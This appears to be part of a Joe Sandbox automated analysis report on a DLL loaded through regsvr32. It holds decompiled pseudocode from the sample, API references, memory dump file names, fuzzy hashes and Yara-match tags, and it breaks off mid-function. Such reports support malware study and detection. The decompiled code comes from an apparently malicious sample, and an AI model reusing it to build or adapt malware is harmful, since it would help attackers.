				_t139 = _t138 - 0x5a8;
				if(( *0x100b29e0 & 0x00000001) != 0) {
					_t75 = 0xa;
					_t48 = E10033EB0(_t48, 0xa, 0, __rbx, _t116, __rdx, __rdi, __rsi, __r8, _t144, __r12, __r13);
				}
				_t49 = E10040B60(_t48, _t107);
				if(_t107 != 0) {
					_t75 = 0x16;
					_t49 = E10040B70(0x16, _t112, _t116, _t128, _t130, _t132, _t135, _t142, _t151, _t153, _t157, _t159);
				}
				if(( *0x100b29e0 & 0x00000002) != 0) {
					__imp__RtlCaptureContext();
					r8d = 0x98;
					E1002E410(_t49, _t75, 0, _t139 + 0x30, _t128, _t142);
					 *((long long*)(_t139 + 0x40)) =  *((intOrPtr*)(_t139 + 0x5a8));
					 *((intOrPtr*)(_t139 + 0x30)) = 0x40000015;
					 *((long long*)(_t139 + 0x20)) = _t139 + 0x30;
					_t107 = _t139 + 0xd0;
					 *((long long*)(_t139 + 0x28)) = _t139 + 0xd0;
					SetUnhandledExceptionFilter(??);
					_t116 = _t139 + 0x20;
					UnhandledExceptionFilter(??);
				}
				_t76 = 3;
				E10033600(3, _t107, _t112, _t130, _t132, _t142, _t151);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t150 = _t139;
				_t140 = _t139 - 0x108;
				_t108 =  *0x100b1640; // 0xf93099fb11e7
				_t109 = _t108 ^ _t140;
				 *(_t140 + 0xb0) = _t109;
				 *((long long*)(_t150 - 8)) = _t112;
				 *((long long*)(_t150 - 0x10)) = _t135;
				 *((long long*)(_t150 - 0x18)) = _t132;
				_t133 =  *((intOrPtr*)(_t140 + 0x130));
				 *((long long*)(_t150 - 0x20)) = _t130;
				 *((long long*)(_t150 - 0x30)) = _t153;
				 *((long long*)(_t150 - 0x38)) = _t157;
				 *((long long*)(_t150 - 0x40)) = _t159;
				r15d = r9d;
				r14d = r8d;
				_t154 = _t116;
				if(0 != 1) {
					if(0 != 0) {
						L26:
						goto L18;
					}
					_t114 = 0x100b8170;
					r8d = r15d;
					 *((intOrPtr*)(_t140 + 0x28)) = 0;
					 *((intOrPtr*)(_t140 + 0x20)) = 4;
					if(E10049BD0(3, r14d, 0x100b8170, _t116, _t128, _t130, _t133, _t135, _t142, 0x100b8170, _t149, _t150, _t151, _t154, _t157, _t159) != 0) {
						 *_t133 = bpl;
						while(1) {
							_t76 =  *_t114 & 0x000000ff;
							if(E10043280(_t74,  *_t114 & 0x000000ff, _t128, _t130, _t133, 0x100b8178, _t142, _t149, _t151, _t154, _t157, _t159) == 0) {
								break;
							}
							_t77 =  *_t133 & 0x000000ff;
							_t114 =  &(_t114[2]);
							_t78 = _t77 + ((_t77 & 0x000000ff) << 2);
							_t76 = _t77 + ((_t77 & 0x000000ff) << 2) + _t78 + dil - 0x30;
							 *_t133 = _t77 + ((_t77 & 0x000000ff) << 2) + _t78 + dil - 0x30;
							if(_t114 < 0x100b8178) {
								continue;
							}
							break;
						}
						goto L18;
					}
					goto L26;
				} else {
					_t146 = _t140 + 0x30;
					r8d = r15d;
					 *((intOrPtr*)(_t140 + 0x28)) = 0;
					 *((long long*)(_t150 - 0x28)) = _t151;
					 *((intOrPtr*)(_t140 + 0x20)) = 0x80;
					_t115 = _t140 + 0x30;
					_t91 = 0;
					_t58 = E10049F00(3, r14d, _t115, _t116, _t128, _t130, _t133, _t135, _t142, _t140 + 0x30, _t149, _t150, _t151, _t154, _t157, _t159);
					r12d = _t58;
					if(_t58 != 0) {
						L13:
						_t156 = r12d;
						E10038890(_t109, _t115, _t156, _t128, _t130, _t133, _t135, _t151);
						_t120 = _t109;
						 *_t133 = _t109;
						if(_t109 != 0) {
							_t44 = _t151 - 1; // -1
							_t143 = _t115;
							_t129 = _t156;
							if(E10032700(_t109, _t115, _t120, _t156, _t130, _t133, _t135, _t115, _t44) != 0) {
								r9d = 0;
								r8d = 0;
								_t76 = 0;
								 *((long long*)(_t140 + 0x20)) = _t135;
								E100342D0(0, _t129, _t143);
							}
							if(_t91 != 0) {
								E1002E330(_t109, _t115);
							}
							L17:
							L18:
							return E1002FF40(_t76,  *(_t140 + 0xb0) ^ _t140);
						}
						if(_t91 == 0) {
							L16:
							goto L17;
						}
						L15:
						E1002E330(_t109, _t115);
						goto L16;
					}
					if(GetLastError() != 0x7a) {
						goto L16;
					}
					r9d = 0;
					r8d = r15d;
					 *((intOrPtr*)(_t140 + 0x28)) = 0;
					 *((intOrPtr*)(_t140 + 0x20)) = 0;
					_t68 = E10049F00(3, r14d, _t115, _t154, _t128, _t130, _t133, _t135, _t142, _t146, _t149, _t150, _t151, _t154, _t157, _t159);
					_t151 = _t68;
					if(_t68 == 0) {
						goto L16;
					}
					E10038890(_t109, _t115, _t151, _t128, _t130, _t133, _t135, _t151);
					_t115 = _t109;
					if(_t109 == 0) {
						goto L16;
					}
					r8d = r15d;
					 *((intOrPtr*)(_t140 + 0x28)) = 0;
					_t33 = _t135 + 1; // 0x1
					_t91 = _t33;
					 *((intOrPtr*)(_t140 + 0x20)) = r12d;
					_t70 = E10049F00(3, r14d, _t115, _t154, _t128, _t130, _t133, _t135, _t142, _t109, _t149, _t150, _t151, _t154, _t157, _t159);
					r12d = _t70;
					if(_t70 == 0) {
						goto L15;
					}
					goto L13;
				}
			}

0x10040590
0x10040590
0x10040590
0x10040590
0x10040590
0x10040590
0x10040590
0x10040590
0x10040590
0x10040590
0x10040590
0x1004059e
0x100405a0
0x100405a5
0x100405a5
0x100405aa
0x100405b2
0x100405b4
0x100405b9
0x100405b9
0x100405c5
0x100405cf
0x100405dc
0x100405e2
0x100405f1
0x100405fb
0x10040603
0x10040608
0x10040610
0x10040615
0x1004061b
0x10040620
0x10040620
0x10040626
0x1004062b
0x10040630
0x10040631
0x10040632
0x10040633
0x10040634
0x10040635
0x10040636
0x10040637
0x10040638
0x10040639
0x1004063a
0x1004063b
0x1004063c
0x1004063d
0x1004063e
0x1004063f
0x10040640
0x10040643
0x1004064a
0x10040651
0x10040654
0x1004065f
0x10040663
0x10040667
0x1004066b
0x10040673
0x10040677
0x1004067b
0x1004067f
0x10040683
0x10040686
0x10040689
0x1004068c
0x100407e8
0x10040811
0x00000000
0x10040811
0x100407ea
0x100407f3
0x100407fc
0x10040800
0x1004080f
0x1004081b
0x10040825
0x10040828
0x10040831
0x00000000
0x00000000
0x10040833
0x10040836
0x10040840
0x10040847
0x1004084d
0x1004084f
0x00000000
0x00000000
0x00000000
0x1004084f
0x00000000
0x10040851
0x00000000
0x10040692
0x10040694
0x10040699
0x1004069f
0x100406a3
0x100406a7
0x100406af
0x100406b4
0x100406b6
0x100406bd
0x100406c0
0x10040724
0x10040724
0x1004072f
0x10040737
0x1004073a
0x1004073d
0x100407a8
0x100407ad
0x100407b0
0x100407bd
0x100407bf
0x100407c2
0x100407c7
0x100407c9
0x100407ce
0x100407ce
0x100407d5
0x100407da
0x100407da
0x10040750
0x10040758
0x100407a7
0x100407a7
0x10040741
0x1004074b
0x00000000
0x1004074b
0x10040743
0x10040746
0x00000000
0x10040746
0x100406cb
0x00000000
0x00000000
0x100406cd
0x100406d0
0x100406d9
0x100406dd
0x100406e1
0x100406e8
0x100406eb
0x00000000
0x00000000
0x100406f3
0x100406fb
0x100406fe
0x00000000
0x00000000
0x10040703
0x1004070c
0x10040710
0x10040710
0x10040713
0x10040718
0x1004071f
0x10040722
0x00000000
0x00000000
0x00000000
0x10040722

APIs

RtlCaptureContext.KERNEL32 ref: 100405CF
SetUnhandledExceptionFilter.KERNEL32 ref: 10040615
UnhandledExceptionFilter.KERNEL32 ref: 10040620

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContext
String ID:
API String ID: 2202868296-0
Opcode ID: 1b3e1e87c78bbd4d720164f8f521f736de6eb814d75af3b45ddda87ac143f61d
Instruction ID: 32b7cb80912ccdccda88c984136223b40da1c7b86a729d0820416eb9c86bead4
Opcode Fuzzy Hash: 1b3e1e87c78bbd4d720164f8f521f736de6eb814d75af3b45ddda87ac143f61d
Instruction Fuzzy Hash: DB018F35218F8086EB22DB20F8553AB73A0FBC8309F500229BACE567A4DF3CD548CB05

Uniqueness

Uniqueness Score: -1.00%

Function 10010AE4 Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d404cc908f282b0af615e52824fc34818492ce7c15c5c230a1246d5f2f239ad
Instruction ID: 00ac803f58dac7afce093f77de1fc6bee60a8dfca738a12ade583533ae1e02af
Opcode Fuzzy Hash: 5d404cc908f282b0af615e52824fc34818492ce7c15c5c230a1246d5f2f239ad
Instruction Fuzzy Hash: 91F0623534864582D641D721AE9436E62A5EB88BC4F548060BDDA4F655EFFCC9C5D600

Uniqueness

Uniqueness Score: -1.00%

Function 10053B44 Relevance: 4.5, APIs: 3, Instructions: 36threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 10053B5B
GetLocaleInfoA.KERNEL32 ref: 10053B71
GetACP.KERNEL32 ref: 10053BA0

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Locale$InfoThread
String ID:
API String ID: 4232894706-0
Opcode ID: fd6ada68f358c04270fb046c35dac08227d5ac9b76abe6947831c04a7c481c7d
Instruction ID: 7ad195d85e88110c702347d1e606d2dfc22bcedb664b9b8837b5fa99282889ab
Opcode Fuzzy Hash: fd6ada68f358c04270fb046c35dac08227d5ac9b76abe6947831c04a7c481c7d
Instruction Fuzzy Hash: B5013C75710A8587EF11DF60A8903AA77A0FB8CB89F844468DBCD87619EB6CC54ECB10

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025C1C Relevance: 4.4, Strings: 3, Instructions: 640COMMON

Download Yara Rule

Strings

;), xrefs: 000000018002694C
|H?], xrefs: 0000000180025F59
)5, xrefs: 0000000180025DF1

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )5$;)$|H?]
API String ID: 0-3577806271
Opcode ID: a4165b25f606c11149fed1bfd1d62cefd3f4259691b1976da8f140aa7b92ad2d
Instruction ID: d7e47994404475e70ced0de6f74de62e77952c276f40fe27d8ed92457f44f242
Opcode Fuzzy Hash: a4165b25f606c11149fed1bfd1d62cefd3f4259691b1976da8f140aa7b92ad2d
Instruction Fuzzy Hash: 8582F97050178C8FEBB8CF64C8897DD7BB2FB88314F144619D85A8B251DBB657A4CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029590 Relevance: 4.2, Strings: 3, Instructions: 421COMMON

Download Yara Rule

Strings

aroR, xrefs: 0000000180029C34
del, xrefs: 0000000180029EB0
=j, xrefs: 0000000180029E1B

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =j$aroR$del
API String ID: 0-2802637683
Opcode ID: 128a13469a6ed3339f7bbdfeb934f2a3c9d33f1a247ca332641572c8731fa192
Instruction ID: 3ac0c2f995893d0abe3c59d133074fd1456f115a00456f87d29330de7c90ce46
Opcode Fuzzy Hash: 128a13469a6ed3339f7bbdfeb934f2a3c9d33f1a247ca332641572c8731fa192
Instruction Fuzzy Hash: 7532B2709096C88BDBF9CF64C8897CD7BF0FF48344F50655AD84E9A694CBB866848F42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B058 Relevance: 4.1, Strings: 3, Instructions: 350COMMON

Download Yara Rule

Strings

FLY, xrefs: 000000018001B329
`rzf, xrefs: 000000018001B492
dr, xrefs: 000000018001B57A

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: FLY$`rzf$dr
API String ID: 0-3221335131
Opcode ID: ffe9e5cf0cf4a413546e84d7cf92f9f5427e572e7bda02bbeadd19f04bedf841
Instruction ID: 0ddf060d0bead0a4f859d7e502f86605af54d6365e4eda1b8fa30ed5f3279f0d
Opcode Fuzzy Hash: ffe9e5cf0cf4a413546e84d7cf92f9f5427e572e7bda02bbeadd19f04bedf841
Instruction Fuzzy Hash: 5502097090870DEFDB98DFA8C4996DEBBF1FB44344F008169E849EB290D7759A19CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FE84 Relevance: 4.0, Strings: 3, Instructions: 270COMMON

Download Yara Rule

Strings

TO, xrefs: 0000000180010068
U, xrefs: 00000001800100B8
&L, xrefs: 0000000180010095

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &L$TO$U
API String ID: 0-3216064386
Opcode ID: ef0a199b3b0f632b3b33fe13d146858ce6cc73520a2a27b4b017463952953357
Instruction ID: 42ff17b84c01d53525b541e42d6f18878e3a83d0b8cea4e495e1bf71abcab58e
Opcode Fuzzy Hash: ef0a199b3b0f632b3b33fe13d146858ce6cc73520a2a27b4b017463952953357
Instruction Fuzzy Hash: 5AD12B7050078D8BDF88DF28C88A6DE3FA1FB58398F515219FC4A962A0D778D994CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017E74 Relevance: 4.0, Strings: 3, Instructions: 227COMMON

Download Yara Rule

Strings

9&/*, xrefs: 0000000180018119
h, xrefs: 0000000180018028
TL;, xrefs: 00000001800181BF

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 9&/*$TL;$h
API String ID: 0-2964695485
Opcode ID: 2407b1ce0b12a4c4b04f561617ca72c2d467b26de9be28edfaa702a6f444da5c
Instruction ID: 5323bf3ef8113c365386263af610ba311bdf3c40042a43b39ba139a137442e25
Opcode Fuzzy Hash: 2407b1ce0b12a4c4b04f561617ca72c2d467b26de9be28edfaa702a6f444da5c
Instruction Fuzzy Hash: 6FB1E67150478D8FEF48DF28D88A5D93BA1FB48348F11421DFC8A972A5D778E945CB88

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D7F8 Relevance: 3.9, Strings: 3, Instructions: 155COMMON

Download Yara Rule

Strings

Q%, xrefs: 000000018001D882
iW, xrefs: 000000018001D8E0
gx, xrefs: 000000018001D827

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Q%$gx$iW
API String ID: 0-828841787
Opcode ID: 814b47d2dccffe1dfb3b5086135c19fe2a55d2ace100c9a95de35c6237462aa4
Instruction ID: 18a0a253b3edd9e8a3f15e9a6e377d9c21966dd5d96326b0869de43d483d1e43
Opcode Fuzzy Hash: 814b47d2dccffe1dfb3b5086135c19fe2a55d2ace100c9a95de35c6237462aa4
Instruction Fuzzy Hash: 5C61197011064D9BDB88CF28C8C6AD97BB1FB483A8F956219FC0AA6294C774D985CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012FC8 Relevance: 3.9, Strings: 3, Instructions: 138COMMON

Download Yara Rule

Strings

iG, xrefs: 0000000180012FD8
i, xrefs: 000000018001314F
*/, xrefs: 000000018001308B

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: */$iG$i
API String ID: 0-2444112581
Opcode ID: a15e141680521444ca62533c0e025311dc4aa3026a457d479ed153533082f06a
Instruction ID: aa14cc87183925b74d3f53e21f118227a02477d117dcb2d63feb0403f29d39a4
Opcode Fuzzy Hash: a15e141680521444ca62533c0e025311dc4aa3026a457d479ed153533082f06a
Instruction Fuzzy Hash: 2E613BB050074E8BDB4CCF24C99A6EE3FA1FB58388F11462DF8569A290D7B4D664CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A784 Relevance: 3.9, Strings: 3, Instructions: 113COMMON

Download Yara Rule

Strings

]F, xrefs: 000000018002A7F8
ge, xrefs: 000000018002A874
@, xrefs: 000000018002A8A4

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @$]F$ge
API String ID: 0-573476858
Opcode ID: 88c0df63cacfd7881997525b04d040325dc8c3ca0cda55608e2043a269ec6f93
Instruction ID: 1d56d901476d93ec827048ff7e610fd943027efdbaf777b883f3ec23fc01c78f
Opcode Fuzzy Hash: 88c0df63cacfd7881997525b04d040325dc8c3ca0cda55608e2043a269ec6f93
Instruction Fuzzy Hash: 8441D5B460CB848FE768DF18D48975ABBE1FB98344F104A5EE48DDB3A5DB709844CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800166E8 Relevance: 3.9, Strings: 3, Instructions: 104COMMON

Download Yara Rule

Strings

bW, xrefs: 000000018001680D
:x, xrefs: 00000001800167BD
Z, xrefs: 0000000180016833

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :x$Z$bW
API String ID: 0-715408004
Opcode ID: 0329e78f40e4edf829a2b8f92ea994059bb13b7b01c6cce7a40cd13ed669b99f
Instruction ID: c42a345d51ad34f3bbc5fdda3d17611915a6395ce906d389e96a7e498dc77572
Opcode Fuzzy Hash: 0329e78f40e4edf829a2b8f92ea994059bb13b7b01c6cce7a40cd13ed669b99f
Instruction Fuzzy Hash: 7651C2B190074E8FDF48CF68C88A4DE7FB0FB18398F104619E816A6250D3B496A8CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D250 Relevance: 3.9, Strings: 3, Instructions: 101COMMON

Download Yara Rule

Strings

4J, xrefs: 000000018000D289
#X, xrefs: 000000018000D2EF
*, xrefs: 000000018000D322

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$*$4J
API String ID: 0-2879540073
Opcode ID: 7427c53210926ccc13f164d2f962bf1858e2eba934cb82baf5b8d883c6a43345
Instruction ID: 719c72604010be5a1ad33cf3fca154c6b70e9822a9ff2ba54ccb409cafbce5b4
Opcode Fuzzy Hash: 7427c53210926ccc13f164d2f962bf1858e2eba934cb82baf5b8d883c6a43345
Instruction Fuzzy Hash: 3D5108B190074A8BDF48CF64C49A4EE7FB0FF58358F11461DE856A6290D3B89695CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001FFD8 Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

?p, xrefs: 00000001800200EA
\=, xrefs: 00000001800200CA
f"], xrefs: 0000000180020106

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?p$\=$f"]
API String ID: 0-1012456069
Opcode ID: 16e6e74cfccdb8c5c49baf352431d30b9ec7d4e1f3d23936d3567e0029293d18
Instruction ID: dcdb233cd75bf2eb054260c5c7ab273940a4bd64ef601d9bd25d169a526e1752
Opcode Fuzzy Hash: 16e6e74cfccdb8c5c49baf352431d30b9ec7d4e1f3d23936d3567e0029293d18
Instruction Fuzzy Hash: F951D3B580074E8FDB48CF64C88A5DE7FB0FB28398F11461DE816A6250D3B896A5CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026CD0 Relevance: 3.8, Strings: 3, Instructions: 79COMMON

Download Yara Rule

Strings

>, xrefs: 0000000180026E07
C+, xrefs: 0000000180026E4D
%2, xrefs: 0000000180026D26

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %2$>$C+
API String ID: 0-338670336
Opcode ID: 29159c3d78d66c8f630becc81728bd18d65bd8c2e4f1bc7b073e33ff19bf2c67
Instruction ID: 78a1edaf3d272ab116145711b8f8defdc3234e383de55112e81f77af5a3656fe
Opcode Fuzzy Hash: 29159c3d78d66c8f630becc81728bd18d65bd8c2e4f1bc7b073e33ff19bf2c67
Instruction Fuzzy Hash: 0D41E17051C3848BD3B4CF24C48A79BBBE1FB95309F60891DE4CDC6261DB789589DB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800012F0 Relevance: 3.8, Strings: 3, Instructions: 76COMMON

Download Yara Rule

Strings

';, xrefs: 00000001800013C9
V=, xrefs: 00000001800013E6
{Q, xrefs: 0000000180001394

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ';$V=${Q
API String ID: 0-4198053850
Opcode ID: 7772ed82209a9797d9b34d2f5c4d8808246642fb107bc36ae58c6bbc8652bb26
Instruction ID: bb3eeb2f3bf45df52501beceaa70dac790b44976aab6636ea3172d6a28e75d7c
Opcode Fuzzy Hash: 7772ed82209a9797d9b34d2f5c4d8808246642fb107bc36ae58c6bbc8652bb26
Instruction Fuzzy Hash: E84196B190038E8FDF84DF64C88A5DF7BB0FF18358F114A19E869A6250D3B89664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C1E0 Relevance: 3.8, Strings: 3, Instructions: 72COMMON

Download Yara Rule

Strings

av, xrefs: 000000018000C22A
#, xrefs: 000000018000C26A
(H, xrefs: 000000018000C1EC

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: (H$av$#
API String ID: 0-3500117868
Opcode ID: fa55ac9f67f9074ea0b107383cc11e0fe904972d1e13a680a60cb6c1c02552bf
Instruction ID: 34386bfb5d192fe296e4f015896e9ccd340fc809e0043452f6e5524261e6b43d
Opcode Fuzzy Hash: fa55ac9f67f9074ea0b107383cc11e0fe904972d1e13a680a60cb6c1c02552bf
Instruction Fuzzy Hash: 7441D1B080034E8FDF49CF64C88A5EEBBB0FB18348F514619E85AA3250D7B89658CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 10044160 Relevance: 3.2, APIs: 2, Instructions: 226COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 100443DA
RaiseException.KERNEL32 ref: 100443EC

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 7e3d9806c49aa5fa34eeb0f4a3f7530041ce769c6f4085922e20733ddfb27e4a
Instruction ID: 4912f1bd8d9a002a1e64fe748b8aae9631bc38b2bc369ca87b9f2726c6f3c0d1
Opcode Fuzzy Hash: 7e3d9806c49aa5fa34eeb0f4a3f7530041ce769c6f4085922e20733ddfb27e4a
Instruction Fuzzy Hash: 82A1FD37614B8887D755CF19D44631DBBB0F385BA8F268225DBA9877A8CB3AC841CB04

Uniqueness

Uniqueness Score: -1.00%

Function 100449B0 Relevance: 3.2, APIs: 2, Instructions: 174
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E100449B0(intOrPtr __esi, long long __rbx, int* __rcx, signed int __rdx, long long __rdi, long long __rsi, long long __rbp, signed int __r8, long long __r12, long long __r13, long long __r14, char _a16, signed short _a32, signed int _a40) {
				long long _v8;
				long long _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				long long _v56;
				signed int _v64;
				long long _v72;
				void* _v88;
				long long _v96;
				long long _v104;
				intOrPtr _v112;
				long long _v120;
				void* _t58;
				int _t59;
				long _t60;
				intOrPtr _t63;
				signed int _t72;
				intOrPtr _t73;
				signed int _t75;
				signed int _t76;
				intOrPtr _t83;
				intOrPtr* _t89;
				intOrPtr* _t91;
				long long _t92;
				long long _t93;
				int* _t100;
				signed int _t103;
				long long _t105;
				intOrPtr* _t107;
				signed int _t108;
				long long _t111;
				signed int _t114;
				long long _t116;
				intOrPtr* _t117;

				_t116 = __r14;
				_t111 = __r12;
				_t108 = __r8;
				_t105 = __rbp;
				_t98 = __rdx;
				_t95 = __rcx;
				_t92 = __rbx;
				_t83 = __esi;
				_a32 = r9w;
				_t89 = _t107;
				 *((long long*)(_t89 - 0x18)) = __rsi;
				 *((long long*)(_t89 - 0x20)) = __rdi;
				 *((long long*)(_t89 - 0x28)) = __r12;
				 *((long long*)(_t89 - 0x30)) = __r13;
				_t103 = __r8;
				_t114 = __rdx;
				_t100 = __rcx;
				if(__rdx != 0 || __r8 == 0) {
					__eflags = _t95;
					if(_t95 != 0) {
						 *_t95 = 0xffffffff;
					}
					__eflags = _t108 - 0x7fffffff;
					if(_t108 <= 0x7fffffff) {
						_t96 = _a40;
						_v8 = _t92;
						_v16 = _t105;
						bpl = 0;
						__eflags = _t96;
						_v56 = _t116;
						_v64 = bpl;
						if(_t96 != 0) {
							_t98 =  &_v88;
							 *_t98 =  *_t96;
							_t89 =  *((intOrPtr*)(_t96 + 8));
							 *((long long*)(_t98 + 8)) = _t89;
							_t93 = _v72;
							_t117 = _v88;
						} else {
